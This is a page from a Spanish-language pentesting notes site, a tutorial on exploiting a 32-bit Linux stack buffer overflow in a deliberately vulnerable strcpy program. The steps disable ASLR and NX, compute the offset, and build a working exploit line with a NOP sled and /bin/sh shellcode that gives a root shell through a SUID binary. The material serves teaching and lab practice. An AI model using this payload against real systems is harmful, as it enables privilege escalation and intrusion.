CyberSec Notes
  • Bienvenida
    • CyberSec Notes
  • Network Services
    • Port 21 - FTP
    • Port 22 - SSH
    • Port 23 - Telnet
    • Port 25 - SMTP
    • Port 53 - DNS
      • Deploy DNS Server with BIND
    • Port 80/443 - HTTP/HTTPS
      • Wordpress
      • CMS Made Simple (CMSMS)
    • Port 88 - Kerberos
    • Port 386, 636, 3268, 3269 - LDAP
    • Port 445 - SMB
    • Port 1521,1522-1529 - Oracle TNS Listener
    • Port 3128 - Squid
    • Port 5985, 5986 - WinRM
  • Command && Control
    • Sliver C2 [in progress]
  • Ataques en Entornos Windows
    • MalDev
      • AV Evasion
        • Function call obfuscation
      • Code Samples
        • Shellcode Execution C#
        • Shellcode Execution C++
        • Stager HTTP C#
        • Stager HTTP C++
        • Process Inyection C++
        • Process Inyection C#
        • XOR Encrypt C++
    • Directorio Activo
      • Spriying
      • Autenticacion Net-NTLMv2 y tipos de hashes
        • Pass the Hash
        • SMB Relay
      • Autenticación Kerberos
        • Extensiones del protocolo Kerberos (SPNs & PACs)
        • AS_REP Roasting
        • Kerberoasting
        • Silver Ticket Attack
        • Golden Ticket Attack
      • DCSync
      • Mimikatz
      • BloodHound
      • Privilege Escalation
        • PS Credentials in XML format
      • Utils
    • Amsi Bypass
    • Buffer Overflow
      • Stack Based 32 bits [in progress]
        • Windows SLMail 5.5
  • Ataques en Entornos Linux
    • Privilege escalation [in progress]
    • MalDev
      • Simple Reverse Shell
    • Buffer Over Flow
      • Stack Based 32 bits
        • Linux, Vulnerable functions in C programs
    • Persistencia
  • General
    • Host Discovery
    • Reverse Shells Cheet Sheet
    • Pivoting
      • Chisel
      • Port Forwarding
      • Nmap con pivoting
    • Google Dorks [in progress]
    • Denial of Service (DoS)
      • Low and Slow
    • Docker
  • Pentesting Web
    • XML External Entity Injection(XXE)
      • Portswigger Lab #1: Retrieve Files
      • Portswigger Lab #2: Perform SSRF
      • Portswigger Lab #6: Blind XXE to retrieve data via error messages
    • Open Redirect
    • LFI
      • Log Poisoning (Apache, SSH y SMPT)
  • Wireless Pentesting
    • Pre Connection Attacks
      • WEP
      • WPA/WPA2
    • Post Connection Attacks
      • ARP Spoof
    • Fake AP for Captive Portal
Powered by GitBook
On this page
  • Configurar entorno
  • Install GDB PEDA y checkseck
  • Disable ASLR
  • Código
  • Explotación
  • Sin ASLR ni NX
  1. Ataques en Entornos Linux
  2. Buffer Over Flow
  3. Stack Based 32 bits

Linux, Vulnerable functions in C programs

PreviousStack Based 32 bitsNextPersistencia

Last updated 1 year ago

Configurar entorno

Install GDB PEDA y checkseck

# gdb PEDA
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

# checkseck
wget https://www.trapkit.de/tools/checksec/checksec.sh
cp checksec.sh /usr/bin/checksec
rm checkseck.sh 

Disable ASLR

(from )

According to an article , you can configure ASLR in Linux using the /proc/sys/kernel/randomize_va_space interface.

The following values are supported:

  • 0 – No randomization. Everything is static.

  • 1 – Conservative randomization. Shared libraries, stack, mmap(), VDSO and heap are randomized.

  • 2 – Full randomization. In addition to elements listed in the previous point, memory managed through brk() is also randomized.

So, to disable it, run

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

and to enable it again, run

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

This won't survive a reboot, so you'll have to configure this in sysctl. Add a file /etc/sysctl.d/01-disable-aslr.conf containing:

kernel.randomize_va_space = 0

should permanently disable this.

Código

#include <stdio.h>

int main(int argc, char *argv[]){
        char buffer[64];
        strcpy(buffer, argv[1]);
}

Explotación

Sin ASLR ni NX

###Flags for compile disabling DEP (NX):

gcc -z execstack -g -fno-stack-protector -mpreferred-stack-boundary=2 <file> -o <elf-name>

Calcular offset

gdb ./<elf-file>     # Inicializar PEDA
pattern arg 100      # Crear una cadena para calcular el offset de 100 bytes de long.
run                  # Correr el programa con el offset creado
pattern search       # Calcular el offset

Como vemos se produce un BOF al correr el programa

Con un offset de 68 bytes:

Ahora vamos a agregar unos nops seguido de estos vamos a pasar una shellcode que queramos ejecutar y elegir una dirección intermedia de los nops que será la que pasemos al EIP para que ejecute nuestra shellcode. Pero antes tenemos que determinar la dirección en la que están los NOP's, por lo que debemos efectuar el BOF, las "A" se repiten 68 veces debido a que generan el desbordamiento, las "B" hacen referencia al EIP y los "\x90" a los NOP's:

run $(python -c 'print "A" * 68 + "BBBB" + "\x90" * 200 ') # en PEDA

Ahora debemos buscar una shellcode que nos interese y ponerla después de los NOP's, y elegir una dirección de los NOP's para decirle al EIP que salte a esta dirección,como están en formato Little Endian habrá que invertir su orden:

# Shellcode for 32 bits spawn a /bin/sh
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

Como el archivo es del propietario root y cuenta con permisos SUID podemos ejectuar el siguiente comando para obtener un sh como root en la maquina:

./<elf-SUID> $(python -c 'print <OFFSET> + <EIP-ADDRESS> + <NOPS> + <SHELLCODE>')
./vuln $(python -c 'print "A" * 68 + "\xc0\xf4\xff\xbf" + "\x90" * 200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"')

https://askubuntu.com/questions/318315/how-can-i-temporarily-disable-aslr-address-space-layout-randomization
How Effective is ASLR on Linux Systems?